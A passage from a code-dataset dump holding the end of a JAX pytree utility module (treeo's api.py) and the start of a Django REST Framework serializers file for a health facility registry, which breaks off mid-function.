for output are taken from the first input (`obj`).\n\n Returns:\n A new pytree with the updated values.\n \"\"\"\n\n if flatten_mode is None and tree_m._CONTEXT.flatten_mode is None:\n flatten_mode = FlattenMode.all_fields\n\n input_obj = obj\n\n def merge_fn(*xs):\n for x in reversed(xs):\n if not isinstance(x, types.Nothing):\n return x\n return types.NOTHING\n\n tree_map_fn = _looser_tree_map if ignore_static else jax.tree_map\n\n with _flatten_context(flatten_mode):\n obj = tree_map_fn(\n merge_fn,\n obj,\n other,\n *rest,\n is_leaf=lambda x: isinstance(x, LEAF_TYPES),\n )\n\n return obj\n\n\ndef map(\n f: tp.Callable,\n obj: A,\n *filters: Filter,\n flatten_mode: tp.Union[FlattenMode, str, None] = None,\n is_leaf: tp.Callable[[tp.Any], bool] = None,\n field_info: tp.Optional[bool] = False,\n) -> A:\n \"\"\"\n Applies a function to all leaves in a pytree using `jax.tree_map`, if `filters` are given then\n the function will be applied only to the subset of leaves that match the filters. For more information see\n [map's user guide](https://cgarciae.github.io/treeo/user-guide/api/map).\n\n\n Arguments:\n f: The function to apply to the leaves.\n obj: a pytree possibly containing `to.Tree`s.\n *filters: The filters used to select the leaves to which the function will be applied.\n flatten_mode: Sets a new `FlattenMode` context for the operation, if `None` the current context is used.\n add_field_info: Represent the leaves of the tree by a `FieldInfo` type. This enables values of the field such as\n kind and value to be used within the `map` function.\n\n Returns:\n A new pytree with the changes applied.\n \"\"\"\n\n input_obj = obj\n\n has_filters = len(filters) > 0\n\n with _flatten_context(flatten_mode):\n if has_filters:\n new_obj = filter(obj, *filters)\n else:\n new_obj = obj\n\n # Conditionally build map function with, or without, the leaf nodes' field info.\n if field_info:\n with add_field_info():\n new_obj: A = jax.tree_map(f, new_obj, is_leaf=is_leaf)\n else:\n new_obj: A = jax.tree_map(f, new_obj, is_leaf=is_leaf)\n\n if has_filters:\n new_obj = merge(obj, new_obj)\n\n return new_obj\n\n\ndef to_dict(\n obj: tp.Any,\n *,\n private_fields: bool = False,\n static_fields: bool = True,\n type_info: bool = False,\n field_info: bool = False,\n) -> tp.Any:\n\n if field_info:\n with add_field_info(), flatten_mode(FlattenMode.all_fields):\n flat, treedef = jax.tree_util.tree_flatten(obj)\n\n obj = jax.tree_unflatten(treedef, flat)\n obj = tree_m.apply(_remove_field_info_from_metadata, obj)\n\n return _to_dict(obj, private_fields, static_fields, type_info)\n\n\ndef _remove_field_info_from_metadata(obj: Tree):\n with tree_m._make_mutable_toplevel(obj):\n obj._field_metadata = jax.tree_map(\n lambda x: x.value if isinstance(x, FieldInfo) else x,\n obj._field_metadata,\n )\n\n\ndef _to_dict(\n obj: tp.Any, private_fields: bool, static_fields: bool, type_info: bool\n) -> tp.Any:\n\n if isinstance(obj, Tree):\n fields = vars(obj).copy()\n\n if not private_fields:\n fields = {k: v for k, v in fields.items() if not k.startswith(\"_\")}\n\n if not static_fields:\n fields = {k: v for k, v in fields.items() if obj._field_metadata[k].node}\n\n fields = {\n k: _to_dict(v, private_fields, static_fields, type_info)\n for k, v in fields.items()\n }\n\n if type_info:\n fields[\"__type__\"] = type(obj)\n\n return fields\n elif isinstance(obj, tp.Mapping):\n output = {\n k: _to_dict(v, private_fields, static_fields, type_info)\n for k, v in obj.items()\n }\n\n if type_info:\n output[\"__type__\"] = type(obj)\n\n return output\n elif isinstance(obj, tp.Sequence) and not isinstance(obj, str):\n output = [_to_dict(v, private_fields, static_fields, type_info) for v in obj]\n\n if type_info:\n output.append(type(obj))\n\n return output\n else:\n return obj\n\n\ndef to_string(\n obj: tp.Any,\n private_fields: bool = False,\n static_fields: bool = True,\n color: bool = False,\n) -> str:\n \"\"\"\n Converts a pytree to a string representation.\n\n Arguments:\n obj: The pytree to convert.\n private_fields: If `True`, private fields are included.\n static_fields: If `True`, static fields are included.\n\n Returns:\n A string representation of the pytree.\n \"\"\"\n dict_ = to_dict(\n obj,\n private_fields=private_fields,\n static_fields=static_fields,\n type_info=True,\n field_info=True,\n )\n global RICH_WARNING_COUNT\n rep = _to_string(dict_, level=0, inline=False, color=color, space=\" \")\n rep = _add_padding(rep)\n\n if color:\n if Console is None or Text is None:\n if RICH_WARNING_COUNT < 1:\n RICH_WARNING_COUNT += 1\n logging.warning(\n f\"'rich' library not available, install `rich` to get colors.\"\n )\n else:\n rep = _get_rich_repr(Text.from_markup(rep))\n\n return rep\n\n\ndef _to_string(\n obj: tp.Any,\n *,\n level: int,\n inline: bool,\n color: bool,\n space: str,\n) -> str:\n\n indent_level = space * level\n\n DIM = \"[dim]\" if color else \"\"\n END = \"[/dim]\" if color else \"\"\n\n if isinstance(obj, tp.Mapping):\n obj_type = obj[\"__type__\"]\n body = [\n indent_level\n + space\n + f\"{field}: {_to_string(value, level=level + 1, inline=True, color=color, space=space)},\"\n for field, value in obj.items()\n if field != \"__type__\"\n ]\n body_str = \"\\n\".join(body)\n type_str = f\"{obj_type.__name__}\" if inline else obj_type.__name__\n\n if len(obj) > 1: # zero fields excluding __type__\n return f\"{type_str} {{\\n{body_str}\\n{indent_level}}}\"\n else:\n return f\"{type_str} {{}}\"\n\n # return f\"\\n{body_str}\"\n elif isinstance(obj, tp.Sequence) and not isinstance(obj, str):\n obj_type = obj[-1]\n body = [\n indent_level\n + space\n + f\"{_to_string(value, level=level + 1, inline=False, color=color, space=space)},\"\n for i, value in enumerate(obj[:-1])\n ]\n body_str = \"\\n\".join(body)\n type_str = f\"{obj_type.__name__}\" if inline else obj_type.__name__\n\n if len(obj) > 1: # zero fields excluding __type__\n return f\"{type_str} [\\n{body_str}\\n{indent_level}]\"\n else:\n return f\"{type_str} []\"\n\n elif isinstance(obj, FieldInfo):\n value = obj.value\n kind_name = obj.kind.__name__ if obj.kind != type(None) else \"\"\n\n if isinstance(value, (np.ndarray, jnp.ndarray)):\n\n value_type = type(value)\n type_module = value_type.__module__.split(\".\")[0]\n value_rep = (\n f\"{type_module}.{value_type.__name__}({value.shape}, {value.dtype})\"\n )\n elif isinstance(value, str):\n value_rep = f'\"{value}\"'\n else:\n value_rep = str(value)\n\n return (\n f\"{value_rep}{PAD_START}{DIM}{kind_name}{END}{PAD_END}\"\n if kind_name\n else value_rep\n )\n\n else:\n return str(obj)\n\n\ndef in_compact() -> bool:\n \"\"\"\n Returns:\n `True` if current inside a function decorated with `@compact`.\n \"\"\"\n return tree_m._COMPACT_CONTEXT.in_compact\n\n\n# ---------------------------------------------------------------\n# Context Managers\n# ---------------------------------------------------------------\n\n\n@contextmanager\ndef add_field_info():\n \"\"\"\n A context manager that makes `Tree`s produce leaves as `FieldInfo` when flattening.\n \"\"\"\n with tree_m._CONTEXT.update(add_field_info=True):\n yield\n\n\n@contextmanager\ndef flatten_mode(mode: tp.Optional[tp.Union[FlattenMode, str]]):\n \"\"\"\n A context manager that defines how `Tree`s are flattened. Options are:\n\n * `'normal'`: Fields are selected as nodes as declared in the class definition (default behavior).\n * `'all_fields'`: All fields are treated as nodes during flattening.\n * `'no_fields'`: All fields are treated as static, `Tree`s produce no leaves.\n * `None`: Context is not changed, current flatten mode is preserved.\n\n Example:\n\n ```python\n @dataclass\n class MyTree(Tree):\n x: int # static\n y: int = to.node()\n\n tree = MyTree(x=1, y=3)\n\n jax.tree_map(lambda x: x * 2, tree) # MyTree(x=1, y=6)\n\n with flatten_mode('all_fields'):\n jax.tree_map(lambda x: x + 1, tree) # MyTree(x=2, y=6)\n ```\n\n Arguments:\n mode: The new flatten mode.\n \"\"\"\n if mode is not None:\n if isinstance(mode, str):\n mode = FlattenMode(mode)\n\n with tree_m._CONTEXT.update(flatten_mode=mode):\n yield\n else:\n yield\n\n\n# alias for internal use\n_flatten_context = flatten_mode\n\n\n# ---------------------------------------------------------------\n# decorators\n# ---------------------------------------------------------------\n\n\ndef compact(f):\n \"\"\"\n A decorator that enable the definition of Tree subnodes at runtime.\n \"\"\"\n\n if hasattr(f, \"_treeo_mutable\"):\n raise ValueError(\n f\"\"\"Cannot make 'compact' a 'mutable' function, invert the order. If you are using it as a decorator, instead of e.g.\n \n @compact\n @mutable\n def {f.__name__}(self, ...):\n \nuse:\n\n @mutable\n @compact\n def {f.__name__}(self, ...):\n\n\"\"\"\n )\n\n @functools.wraps(f)\n def wrapper(tree, *args, **kwargs):\n with tree_m._COMPACT_CONTEXT.compact(f, tree):\n return f(tree, *args, **kwargs)\n\n wrapper._treeo_compact = True\n\n return wrapper\n\n\ndef mutable(\n f: tp.Callable[..., A],\n *,\n toplevel_only: bool = False,\n) -> tp.Callable[..., tp.Tuple[A, tp.Any]]:\n \"\"\"\n A decorator that transforms a stateful function `f` that receives an Tree\n instance as a its first argument into a function that returns a tuple of the result and a Tree\n with the new state.\n\n This is useful for 2 reasons:\n * It transforms `f` into a pure function.\n * It allows `Immutable` Trees to perform inline field updates without getting `RuntimeError`s.\n\n Note that since the original object is not modified, `Immutable` instance remain in the end immutable.\n\n Example:\n\n ```python\n def accumulate_id(tree: MyTree, x: int) -> int:\n tree.n += x\n return x\n\n tree0 = MyTree(n=4)\n y, tree1 = mutable(accumulate_id)(tree0, 1)\n\n assert tree0.n == 4\n assert tree1.n == 5\n assert y == 1\n ```\n\n **Note**: Any `Tree`s that are found in the output of `f` are set to being\n immutable.\n\n Arguments:\n f: The function to be transformed.\n toplevel_only: If `True`, only the top-level object is made mutable.\n\n Returns:\n A function that returns a tuple of the result and a Tree with the new state.\n \"\"\"\n\n f0 = f\n\n if inspect.ismethod(f):\n tree0 = f.__self__\n f = f.__func__\n elif isinstance(f, tree_m.Tree) and callable(f):\n tree0 = f\n f = f.__class__.__call__\n else:\n tree0 = None\n\n if tree0 is not None and not isinstance(tree0, Tree):\n name = f0.__name__ is hasattr(f0, \"__name__\") and f0.__class__.__name__\n raise TypeError(\n f\"Invalid bounded method or callable '{name}', tried to infer unbouded function and instance, \"\n f\"expected a 'Tree' instance but '{type(tree0).__name__}' instead. Try using an unbounded class method instead.\"\n )\n\n @functools.wraps(f)\n def wrapper(tree, *args, **kwargs) -> tp.Tuple[A, tp.Any]:\n\n tree = tree_m.copy(tree)\n\n with tree_m.make_mutable(tree, toplevel_only=toplevel_only):\n output = f(tree, *args, **kwargs)\n\n def _make_output_immutable(a: Tree):\n tree_m._set_mutable(a, None)\n\n output = tree_m.apply(_make_output_immutable, output)\n\n return output, tree\n\n wrapper._treeo_mutable = True\n\n if tree0 is not None:\n\n @functools.wraps(f)\n def obj_wrapper(*args, **kwargs):\n return wrapper(tree0, *args, **kwargs)\n\n return obj_wrapper\n\n return wrapper\n\n\ndef toplevel_mutable(f: C) -> C:\n \"\"\"\n A decorator that transforms a stateful function `f` that receives an Tree\n instance as a its first argument into a mutable function. It differs from `mutable`\n in the following ways:\n\n * It always applies mutability to the top-level object only.\n * `f` is expected to return the new state either as the only output or\n as the last element of a tuple.\n\n Example:\n\n ```python\n @dataclass\n class Child(to.Tree, to.Immutable):\n n: int = to.node()\n\n @dataclass\n def Parent(to.Tree, to.Immutable):\n child: Child\n\n @to.toplevel_mutable\n def update(self) -> \"Parent\":\n # self is currently mutable\n self.child = self.child.replace(n=self.child.n + 1) # but child is immutable (so we use replace)\n\n return self\n\n tree = Parent(child=Child(n=4))\n tree = tree.update()\n ```\n\n This behaviour is useful when the top-level tree mostly manipulates sub-trees that have well-defined\n immutable APIs, avoids explicitly run `replace` to propagate updates to the sub-trees and makes\n management of the top-level tree easier.\n\n **Note**: Any `Tree`s that are found in the output of `f` are set to being\n immutable, however the element is the to the same immutablity status as the\n input tree if they have the same type.\n\n Arguments:\n f: The function to be transformed.\n\n Returns:\n A function with top-level mutability.\n \"\"\"\n\n f0 = f\n\n if inspect.ismethod(f):\n tree0 = f.__self__\n f = f.__func__\n elif isinstance(f, tree_m.Tree) and callable(f):\n tree0 = f\n f = f.__class__.__call__\n else:\n tree0 = None\n\n if tree0 is not None and not isinstance(tree0, Tree):\n name = f0.__name__ is hasattr(f0, \"__name__\") and f0.__class__.__name__\n raise TypeError(\n f\"Invalid bounded method or callable '{name}', tried to infer unbouded function and instance, \"\n f\"expected a 'Tree' instance but '{type(tree0).__name__}' instead. Try using an unbounded class method instead.\"\n )\n\n @functools.wraps(f)\n def wrapper(tree: tree_m.Tree, *args, **kwargs):\n if not isinstance(tree, tree_m.Tree):\n raise TypeError(f\"Expected 'Tree' type, got '{type(tree).__name__}'\")\n\n output, _ = mutable(f, toplevel_only=True)(tree, *args, **kwargs)\n\n if isinstance(output, tuple):\n *ys, last = output\n else:\n ys = ()\n last = output\n\n if type(last) is type(tree):\n tree_m._set_mutable(last, tree._mutable)\n\n if isinstance(output, tuple):\n return (*ys, last)\n else:\n return last\n\n wrapper._treeo_mutable = True\n\n if tree0 is not None:\n\n @functools.wraps(f)\n def obj_wrapper(*args, **kwargs):\n return wrapper(tree0, *args, **kwargs)\n\n return obj_wrapper\n\n return wrapper\n\n\n# ---------------------------------------------------------------\n# utils\n# ---------------------------------------------------------------\n\n\ndef _looser_tree_map(\n f: tp.Callable[..., tp.Any],\n tree: tp.Any,\n *rest: tp.Any,\n is_leaf: tp.Optional[tp.Callable[[tp.Any], bool]] = None,\n) -> tp.Any:\n jax.tree_map\n leaves, treedef = jax.tree_util.tree_flatten(\n tree,\n is_leaf=is_leaf,\n )\n all_leaves = [leaves] + [\n jax.tree_util.tree_flatten(r, is_leaf=is_leaf)[0] for r in rest\n ]\n\n n_leaves = len(leaves)\n assert all(len(l) == n_leaves for l in all_leaves)\n\n return treedef.unflatten(f(*xs) for xs in zip(*all_leaves))\n\n\ndef _get_kind_filter(\n t: type,\n) -> tp.Callable[[FieldInfo], bool]:\n def _filter(info: FieldInfo) -> bool:\n return (\n info.kind is not None\n and isinstance(t, tp.Type)\n and issubclass(info.kind, t)\n )\n\n return _filter\n\n\ndef _get_rich_repr(table):\n assert Console is not None\n f = StringIO()\n console = Console(file=f, force_terminal=True)\n console.print(table)\n\n return f.getvalue()\n\n\ndef _add_padding(text):\n\n space = \" \"\n lines = text.split(\"\\n\")\n padded_info = []\n for i in range(len(lines)):\n match = FIND_PAD.search(lines[i])\n if match:\n lines[i] = FIND_PAD.sub(\"\", lines[i])\n padded_info.append(match[1])\n else:\n padded_info.append(\"\")\n lenghts = [len(line) for line in lines]\n max_length = max(lenghts)\n\n text = \"\\n\".join(\n line + space * (max_length - length) + f\" {info}\" if info else line\n for line, length, info in zip(lines, lenghts, padded_info)\n )\n\n return text\n","repo_name":"cgarciae/treeo","sub_path":"treeo/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":20615,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"37"} +{"seq_id":"3395135961","text":"import json\n\nfrom django.utils import timezone\nfrom django.db import transaction\n\nfrom rest_framework import serializers\nfrom rest_framework.exceptions import ValidationError\n\nfrom common.models import Contact, ContactType\nfrom users.models import MflUser\n\nfrom common.serializers import (\n AbstractFieldsMixin,\n ContactSerializer\n)\n\n\nfrom ..models import (\n OwnerType,\n Owner,\n JobTitle,\n Officer,\n OfficerContact,\n FacilityStatus,\n FacilityType,\n RegulatingBody,\n RegulationStatus,\n Facility,\n FacilityRegulationStatus,\n FacilityContact,\n FacilityUnit,\n ServiceCategory,\n Option,\n Service,\n FacilityService,\n FacilityServiceRating,\n FacilityApproval,\n FacilityOperationState,\n FacilityUpgrade,\n RegulatingBodyContact,\n FacilityOfficer,\n RegulatoryBodyUser,\n FacilityUnitRegulation,\n FacilityUpdates,\n KephLevel,\n OptionGroup,\n FacilityLevelChangeReason,\n FacilityDepartment,\n RegulatorSync,\n FacilityExportExcelMaterialView\n)\n\nfrom ..utils import CreateFacilityOfficerMixin\n\n\nclass FacilityExportExcelMaterialViewSerializer(serializers.ModelSerializer):\n\n class Meta(object):\n model = FacilityExportExcelMaterialView\n\n\nclass RegulatorSyncSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n county_name = serializers.ReadOnlyField()\n owner_name = serializers.ReadOnlyField(source='owner.name')\n facility_type_name = serializers.ReadOnlyField(source='facility_type.name')\n regulatory_body_name = serializers.ReadOnlyField(\n source='regulatory_body.name'\n )\n probable_matches = serializers.ReadOnlyField()\n\n def create(self, validated_data):\n reg = self.context['request'].user.regulator\n if reg:\n validated_data['regulatory_body'] = reg\n return super(RegulatorSyncSerializer, self).create(validated_data)\n raise ValidationError(\n {\"regulatory_body\": [\"The user is not assigned a regulatory body\"]}\n )\n\n class Meta(object):\n model = RegulatorSync\n read_only_fields = ('regulatory_body', 'mfl_code', )\n\n\nclass FacilityLevelChangeReasonSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n\n class Meta(object):\n model = FacilityLevelChangeReason\n\n\nclass KephLevelSerializer(AbstractFieldsMixin, serializers.ModelSerializer):\n\n class Meta(object):\n model = KephLevel\n\n\nclass RegulatoryBodyUserSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n user_email = serializers.ReadOnlyField(source='user.email')\n user_name = serializers.ReadOnlyField(source='user.get_full_name')\n regulatory_body_name = serializers.ReadOnlyField(\n source='regulatory_body.name')\n user = serializers.PrimaryKeyRelatedField(\n validators=[], required=False, queryset=MflUser.objects.all())\n regulatory_body = serializers.PrimaryKeyRelatedField(\n validators=[], required=False, queryset=RegulatingBody.objects.all())\n\n class Meta(object):\n model = RegulatoryBodyUser\n\n\nclass FacilityOfficerSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer,):\n facility_name = serializers.ReadOnlyField(source='facility.name')\n officer_name = serializers.ReadOnlyField(source='officer.name')\n id_number = serializers.ReadOnlyField(source='officer.id_number')\n registration_number = serializers.ReadOnlyField(\n source='officer.registration_number')\n job_title = serializers.ReadOnlyField(source='officer.job_title.name')\n\n class Meta(object):\n model = FacilityOfficer\n\n\nclass RegulatingBodyContactSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n\n contact_text = serializers.ReadOnlyField(source='contact.contact')\n contact_type = serializers.ReadOnlyField(\n source='contact.contact_type.name'\n\n )\n\n class Meta(object):\n model = RegulatingBodyContact\n\n\nclass FacilityUpgradeSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n current_keph_level = serializers.ReadOnlyField(\n source='facility.keph_level_name')\n current_facility_type = serializers.ReadOnlyField(\n source='facility.facility_type_name')\n\n class Meta(object):\n model = FacilityUpgrade\n\n\nclass FacilityOperationStateSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n\n class Meta(object):\n model = FacilityOperationState\n\n\nclass FacilityApprovalSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n done_by = serializers.ReadOnlyField(source=\"created_by.get_full_name\")\n\n class Meta(object):\n model = FacilityApproval\n\n\nclass ServiceCategorySerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n\n class Meta(object):\n model = ServiceCategory\n\n\nclass OptionSerializer(AbstractFieldsMixin, serializers.ModelSerializer):\n\n class Meta(object):\n model = Option\n\n\nclass ServiceSerializer(AbstractFieldsMixin, serializers.ModelSerializer):\n category_name = serializers.CharField(read_only=True)\n\n class Meta(object):\n model = Service\n read_only_fields = ('code',)\n\n\nclass FacilityServiceSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n service_name = serializers.CharField(read_only=True)\n option_display_value = serializers.CharField(read_only=True)\n average_rating = serializers.ReadOnlyField()\n number_of_ratings = serializers.ReadOnlyField()\n service_has_options = serializers.ReadOnlyField()\n\n class Meta(object):\n model = FacilityService\n\n\nclass FacilityStatusSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n\n class Meta(object):\n model = FacilityStatus\n\n\nclass RegulatingBodySerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n regulatory_body_type_name = serializers.ReadOnlyField(\n source='regulatory_body_type.name'\n )\n contacts = serializers.ReadOnlyField()\n inlining_errors = []\n\n def _validate_contacts(self, contacts):\n # the serializer class seems to be caching the errors\n # reinitialize them each time this function is called\n self.inlining_errors = []\n for contact in contacts:\n if 'contact' not in contact:\n self.inlining_errors.append(\"The contact is missing\")\n if 'contact_type' not in contact:\n self.inlining_errors.append(\"The contact type is missing\")\n try:\n ContactType.objects.get(id=contact['contact_type'])\n except (KeyError, ValueError, ContactType.DoesNotExist):\n self.inlining_errors.append(\n \"The contact type provided does not exist\")\n\n def create_contact(self, contact_data):\n try:\n return Contact.objects.get(contact=contact_data[\"contact\"])\n except Contact.DoesNotExist:\n contact = ContactSerializer(\n data=contact_data, context=self.context)\n return contact.save() if contact.is_valid() else \\\n self.inlining_errors.append(json.dumps(contact.errors))\n\n def create_reg_body_contacts(self, instance, contact_data, validated_data):\n contact = self.create_contact(contact_data)\n reg_contact_data = {\n \"contact\": contact,\n \"regulating_body\": instance\n }\n audit_data = {\n \"created_by_id\": self.context['request'].user.id,\n \"updated_by_id\": self.context['request'].user.id,\n \"created\": (\n validated_data['created'] if\n validated_data.get('created') else timezone.now()),\n \"updated\": (\n validated_data['updated'] if\n validated_data.get('updated') else timezone.now())\n }\n reg_complete_contact_data = reg_contact_data\n reg_complete_contact_data.update(audit_data)\n\n try:\n RegulatingBodyContact.objects.get(**reg_contact_data)\n except RegulatingBodyContact.DoesNotExist:\n RegulatingBodyContact.objects.create(\n **reg_complete_contact_data)\n\n @transaction.atomic\n def create(self, validated_data):\n contacts = self.initial_data.pop('contacts', [])\n self._validate_contacts(contacts)\n if self.inlining_errors:\n raise ValidationError({\n \"contacts\": self.inlining_errors\n })\n instance = super(RegulatingBodySerializer, self).create(validated_data)\n for contact in contacts:\n self.create_reg_body_contacts(instance, contact, validated_data)\n return instance\n\n @transaction.atomic\n def update(self, instance, validated_data):\n contacts = self.initial_data.pop('contacts', [])\n self._validate_contacts(contacts)\n if self.inlining_errors:\n raise ValidationError({\n \"contacts\": self.inlining_errors\n })\n for contact in contacts:\n self.create_reg_body_contacts(instance, contact, validated_data)\n return instance\n\n class Meta(object):\n model = RegulatingBody\n\n\nclass OwnerTypeSerializer(AbstractFieldsMixin, serializers.ModelSerializer):\n\n class Meta(object):\n model = OwnerType\n\n\nclass FacilityRegulationStatusSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n\n class Meta(object):\n model = FacilityRegulationStatus\n\n\nclass FacilityTypeSerializer(AbstractFieldsMixin, serializers.ModelSerializer):\n owner_type_name = serializers.ReadOnlyField(source='owner_type.name')\n\n class Meta(object):\n model = FacilityType\n\n\nclass OfficerContactSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n\n class Meta(object):\n model = OfficerContact\n\n\nclass JobTitleSerializer(serializers.ModelSerializer):\n\n class Meta(object):\n model = JobTitle\n\n\nclass RegulationStatusSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n next_state_name = serializers.CharField(read_only=True)\n previous_state_name = serializers.CharField(read_only=True)\n\n class Meta(object):\n model = RegulationStatus\n\n\nclass OfficerSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n job_title_name = serializers.ReadOnlyField(source='job_title.name')\n\n class Meta(object):\n model = Officer\n\n\nclass OwnerSerializer(AbstractFieldsMixin, serializers.ModelSerializer):\n\n owner_type_name = serializers.ReadOnlyField(source='owner_type.name')\n\n class Meta(object):\n model = Owner\n read_only_fields = ('code',)\n\n\nclass FacilityContactSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n contact_type = serializers.ReadOnlyField(\n source=\"contact.contact_type.name\")\n actual_contact = serializers.ReadOnlyField(source=\"contact.contact\")\n\n class Meta(object):\n model = FacilityContact\n\n\nclass FacilityUnitSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n regulation_status = serializers.ReadOnlyField()\n unit_name = serializers.ReadOnlyField(source='unit.name')\n regulating_body_name = serializers.ReadOnlyField(\n source=\"unit.regulatory_body.name\")\n\n class Meta(object):\n model = FacilityUnit\n\n\nclass FacilitySerializer(\n AbstractFieldsMixin, CreateFacilityOfficerMixin,\n serializers.ModelSerializer):\n regulatory_status_name = serializers.CharField(\n read_only=True,\n source='current_regulatory_status')\n facility_type_name = serializers.CharField(read_only=True)\n owner_name = serializers.CharField(read_only=True)\n owner_type_name = serializers.CharField(read_only=True)\n owner_type = serializers.CharField(\n read_only=True, source='owner.owner_type.pk')\n operation_status_name = serializers.CharField(read_only=True)\n county = serializers.CharField(read_only=True)\n constituency = serializers.CharField(read_only=True)\n constituency_name = serializers.CharField(\n read_only=True,\n source='ward.constituency.name')\n ward_name = serializers.ReadOnlyField()\n average_rating = serializers.ReadOnlyField()\n facility_services = serializers.ReadOnlyField(\n source=\"get_facility_services\")\n is_approved = serializers.ReadOnlyField()\n has_edits = serializers.ReadOnlyField()\n latest_update = serializers.ReadOnlyField()\n regulatory_body_name = serializers.ReadOnlyField(\n source=\"regulatory_body.name\"\n )\n owner = serializers.PrimaryKeyRelatedField(\n required=False, queryset=Owner.objects.all())\n date_requested = serializers.ReadOnlyField(source='created')\n date_approved = serializers.ReadOnlyField(\n source='latest_approval.created')\n latest_approval_or_rejection = serializers.ReadOnlyField()\n sub_county_name = serializers.ReadOnlyField(\n source='ward.sub_county.name')\n sub_county = serializers.ReadOnlyField(\n source='ward.sub_county.id')\n county_name = serializers.ReadOnlyField(\n source='ward.constituency.county.name')\n constituency_id = serializers.ReadOnlyField(\n source='ward.constituency.id')\n county_id = serializers.ReadOnlyField(\n source='ward.constituency.county.id')\n keph_level_name = serializers.ReadOnlyField(source='keph_level.name')\n\n class Meta(object):\n model = Facility\n\n @transaction.atomic\n def create(self, validated_data):\n # prepare the audit fields\n context = self.context\n audit_data = {\n \"created_by_id\": self.context['request'].user.id,\n \"updated_by_id\": self.context['request'].user.id,\n \"created\": (\n validated_data['created'] if\n validated_data.get('created') else timezone.now()),\n \"updated\": (\n validated_data['update'] if\n validated_data.get('updated') else timezone.now())\n }\n\n def inject_audit_fields(dict_a):\n return dict_a.update(audit_data)\n\n # create new owners\n errors = []\n\n def create_owner(owner_data):\n inject_audit_fields(owner_data)\n owner = OwnerSerializer(data=owner_data, context=context)\n if owner.is_valid():\n return owner.save()\n else:\n errors.append(json.dumps(owner.errors))\n\n new_owner = self.initial_data.pop('new_owner', None)\n if new_owner:\n owner = create_owner(new_owner)\n validated_data['owner'] = owner\n\n if errors:\n raise ValidationError(json.dumps({\"detail\": errors}))\n facility = super(FacilitySerializer, self).create(validated_data)\n\n officer_in_charge = self.initial_data.pop(\"officer_in_charge\", None)\n if officer_in_charge:\n self.user = self.context['request'].user\n officer_in_charge['facility_id'] = facility.id\n created_officer = self.create_officer(officer_in_charge)\n errors.append(created_officer.get(\"detail\")) if not \\\n created_officer.get(\"created\") else None\n\n return facility\n\n\nclass FacilityDetailSerializer(FacilitySerializer):\n facility_services = serializers.ReadOnlyField(\n source=\"get_facility_services\")\n facility_contacts = serializers.ReadOnlyField(\n read_only=True, source=\"get_facility_contacts\")\n coordinates = serializers.ReadOnlyField(source='coordinates.id')\n lat_long = serializers.ReadOnlyField()\n latest_approval = serializers.ReadOnlyField(source='latest_approval.id')\n county_code = serializers.ReadOnlyField(\n source='ward.constituency.county.code'\n )\n constituency_code = serializers.ReadOnlyField(\n source='ward.constituency.code'\n )\n ward_code = serializers.ReadOnlyField(source='ward.code')\n service_catalogue_active = serializers.ReadOnlyField()\n facility_units = FacilityUnitSerializer(many=True, required=False)\n officer_in_charge = serializers.ReadOnlyField()\n town_name = serializers.ReadOnlyField(source='town.name')\n keph_level_name = serializers.ReadOnlyField(source='keph_level.name')\n\n class Meta(object):\n model = Facility\n exclude = ('attributes', )\n\n inlining_errors = {}\n\n def inject_audit_fields(self, dict_a, validated_data):\n audit_data = {\n \"created_by_id\": self.context['request'].user.id,\n \"updated_by_id\": self.context['request'].user.id,\n \"created\": (\n validated_data['created'] if\n validated_data.get('created') else timezone.now()),\n \"updated\": (\n validated_data['update'] if\n validated_data.get('updated') else timezone.now())\n }\n dict_a.update(audit_data)\n return dict_a\n\n def create_contact(self, contact_data):\n try:\n return Contact.objects.get(contact=contact_data[\"contact\"])\n except Contact.DoesNotExist:\n contact = ContactSerializer(\n data=contact_data, context=self.context)\n if contact.is_valid():\n return contact.save()\n else:\n self.inlining_errors.update(contact.errors)\n\n def create_facility_contacts(self, instance, contact_data, validated_data):\n contact = self.create_contact(contact_data)\n if contact:\n facility_contact_data_unadit = {\n \"contact\": contact,\n \"facility\": instance\n }\n facility_contact_data = self.inject_audit_fields(\n facility_contact_data_unadit, validated_data)\n try:\n FacilityContact.objects.get(**facility_contact_data_unadit)\n except FacilityContact.DoesNotExist:\n FacilityContact.objects.create(**facility_contact_data)\n\n def create_facility_units(self, instance, unit_data, validated_data):\n unit_data['facility'] = instance.id\n unit_data = self.inject_audit_fields(unit_data, validated_data)\n unit = FacilityUnitSerializer(data=unit_data, context=self.context)\n\n if unit.is_valid():\n return unit.save()\n else:\n self.inlining_errors.update(unit.errors)\n\n def create_facility_services(self, instance, service_data, validated_data):\n service_data['facility'] = instance.id\n service_data = self.inject_audit_fields(\n service_data, validated_data)\n f_service = FacilityServiceSerializer(\n data=service_data, context=self.context)\n f_service.save() if f_service.is_valid() else \\\n self.inlining_errors.update(f_service.errors)\n\n @transaction.atomic\n def update(self, instance, validated_data):\n\n self.inlining_errors = {}\n contacts = self.initial_data.pop('contacts', [])\n units = self.initial_data.pop('units', [])\n\n services = self.initial_data.pop('services', [])\n officer_in_charge = self.initial_data.pop('officer_in_charge', None)\n\n facility = super(FacilityDetailSerializer, self).update(\n instance, validated_data)\n\n if officer_in_charge:\n self.user = self.context['request'].user\n officer_in_charge['facility_id'] = facility.id\n created_officer = self.create_officer(officer_in_charge)\n self.inlining_errors = created_officer.get(\"detail\") if not \\\n created_officer.get(\"created\") else None\n\n def create_facility_child_entity(entity_creator_callable, entity_data):\n actual_function = getattr(self, 